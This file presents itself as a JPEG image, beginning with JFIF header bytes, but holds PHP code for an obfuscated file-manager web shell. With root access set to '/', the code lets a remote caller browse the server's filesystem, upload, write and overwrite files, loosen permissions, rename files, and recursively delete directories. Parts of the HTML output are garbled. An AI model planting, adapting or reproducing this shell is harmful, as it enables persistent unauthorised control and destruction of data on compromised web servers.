ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.- tokz($w)]; $lok=fix($w,$root); $_POST=[]; $_SERVER['REQUEST_METHOD']='GET'; } function fix($r,$root){ $r=str_replace("\0",'',(string)$r); $r=trim($r); if($r==='' or $r==='.' or $r==='/' or $r==='\\')return getcwd(); $d=rawurldecode($r); $d=str_replace(['/','\\'],DIRECTORY_SEPARATOR,$d); if(!preg_match('#^([A-Za-z]:|'.preg_quote(DIRECTORY_SEPARATOR,'#').')#',$d)){ $f=rtrim($root,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.ltrim($d,DIRECTORY_SEPARATOR); }else $f=$d; $p=[]; foreach(explode(DIRECTORY_SEPARATOR,$f) as $x){ if($x==='' or $x==='.')continue; if($x==='..'){array_pop($p);continue;} $p[]=$x; } if(DIRECTORY_SEPARATOR==='\\' and preg_match('#^[A-Za-z]:#',($p[0]??''))){ $o=implode(DIRECTORY_SEPARATOR,$p); }else $o=DIRECTORY_SEPARATOR.implode(DIRECTORY_SEPARATOR,$p); $rp=@realpath($o); if($rp!==false and strpos($rp,$root)===0)$o=$rp; if(is_file($o))$o=dirname($o); return rtrim($o,DIRECTORY_SEPARATOR); } function rd($f){ if(!is_file($f) or !is_readable($f))return false; $h=@fopen($f,'rb'); if(!$h)return false; $b=''; while(!feof($h)){$c=@fread($h,65536);if($c===false){@fclose($h);return false;}$b.=$c;} @fclose($h); return $b; } function wr($f,$d){ $dir=dirname($f); if(!is_dir($dir) or !is_writable($dir))return false; $h=@fopen($f,'wb'); if(!$h)return false; @flock($h,LOCK_EX); $ok=@fwrite($h,$d); @flock($h,LOCK_UN); @fclose($h); return $ok!==false; } function nuk($dir){ if(!is_dir($dir))return false; $ls=@scandir($dir); if($ls===false)return false; foreach($ls as $i){ if($i==='.' or $i==='..')continue; $t=$dir.DIRECTORY_SEPARATOR.$i; if(is_dir($t)){if(!nuk($t))return false;} else{if(!@unlink($t))return false;} } return @rmdir($dir); } function dub($s,$d){ if(!file_exists($s))return false; $dir=dirname($d); if(!is_dir($dir) or !is_writable($dir))return false; $i=@fopen($s,'rb'); if(!$i)return false; $o=@fopen($d,'wb'); if(!$o){@fclose($i);return false;} $ok=true; while(!feof($i)){$x=@fread($i,65536);if($x===false or @fwrite($o,$x)===false){$ok=false;break;}} @fclose($i); @fclose($o); return $ok; } function lnk($p,$t){return ''.$t.'';} function pkako($p,$root){ $ps=str_replace('\\','/',$p); $rs=str_replace('\\','/',$root); if(strpos($ps,$rs)===0){ $rel=ltrim(substr($ps,strlen($rs)),'/'); $seg=$rel===''?[]:array_values(array_filter(explode('/',$rel))); $o=[lnk($rs,'@')]; $c=$rs; foreach($seg as $x){ $c=rtrim($c,'/\\').DIRECTORY_SEPARATOR.$x; $o[]=lnk($c,$x); } return implode(' / ',$o); } return $p; } $tok=$_GET['k']??null; $vx=$_GET['vx']??''; $fx=$_GET['fx']??''; $root='/'; $lok=$tok!==null?fix(getz($tok,$root),$root):fix('',$root); $rx=$_GET['rx']??''; if($_SERVER['REQUEST_METHOD']==='POST'){ if(isset($_FILES['ux'])){ $up=$_FILES['ux']; $dst=$lok.DIRECTORY_SEPARATOR.basename($up['name']); if($up['error']===UPLOAD_ERR_OK and is_uploaded_file($up['tmp_name']) and dub($up['tmp_name'],$dst))jmp($lok,['rx'=>'y']); jmp($lok,['rx'=>'n']); } if(isset($_POST['gx'])){ $nx=basename(trim((string)($_POST['nx']??''))); $kako=(string)($_POST['kako']??''); if($nx!=='' and !file_exists($lok.DIRECTORY_SEPARATOR.$nx) and wr($lok.DIRECTORY_SEPARATOR.$nx,$kako))jmp($lok,['rx'=>'y']); jmp($lok,['rx'=>'n']); } if(isset($_POST['kako'])){ $nx=basename(trim((string)($_POST['nx']??''))); if($nx!=='' and !file_exists($lok.DIRECTORY_SEPARATOR.$nx) and @mkdir($lok.DIRECTORY_SEPARATOR.$nx,0777,true))jmp($lok,['rx'=>'y']); jmp($lok,['rx'=>'n']); } if(isset($_POST['wx']) and $fx!==''){ $t=$lok.DIRECTORY_SEPARATOR.$fx; $kako=(string)($_POST['kako']??''); if(is_file($t)){ if(!is_writable($t))@chmod($t,0666); if(wr($t,$kako))jmp($lok,['rx'=>'y','vx'=>'px','fx'=>$fx]); } jmp($lok,['rx'=>'n','vx'=>'px','fx'=>$fx]); } if(isset($_POST['mx'])){ $ox=basename(trim((string)($_POST['ox']??''))); $nx=basename(trim((string)($_POST['nx']??''))); if($ox!=='' and $nx!=='' and file_exists($lok.DIRECTORY_SEPARATOR.$ox) and !file_exists($lok.DIRECTORY_SEPARATOR.$nx) and @rename($lok.DIRECTORY_SEPARATOR.$ox,$lok.DIRECTORY_SEPARATOR.$nx))jmp($lok,['rx'=>'y']); jmp($lok,['rx'=>'n']); } if(isset($_POST['zx'])){ $ix=basename(trim((string)($_POST['ix']??''))); if($ix!==''){ $t=$lok.DIRECTORY_SEPARATOR.$ix; if((is_file($t) and @unlink($t)) or (is_dir($t) and nuk($t)))jmp($lok,['rx'=>'y']); } jmp($lok,['rx'=>'n']); } } ?>
| - | # | ~ | x | '; }else{ foreach($ls as $x){ if($x==='.' or $x==='..')continue; $fp=$lok.DIRECTORY_SEPARATOR.$x; $isdir=is_dir($fp); $sz=$isdir?'-':number_format(@filesize($fp)); echo '
|---|---|---|
| '; if($isdir)echo '[/] '.lnk($fp,$x); else echo '[.] '.xgo($x); echo ' | '.$sz.' | '; if(!$isdir)echo 'px '; echo ' '; echo ''; echo ' |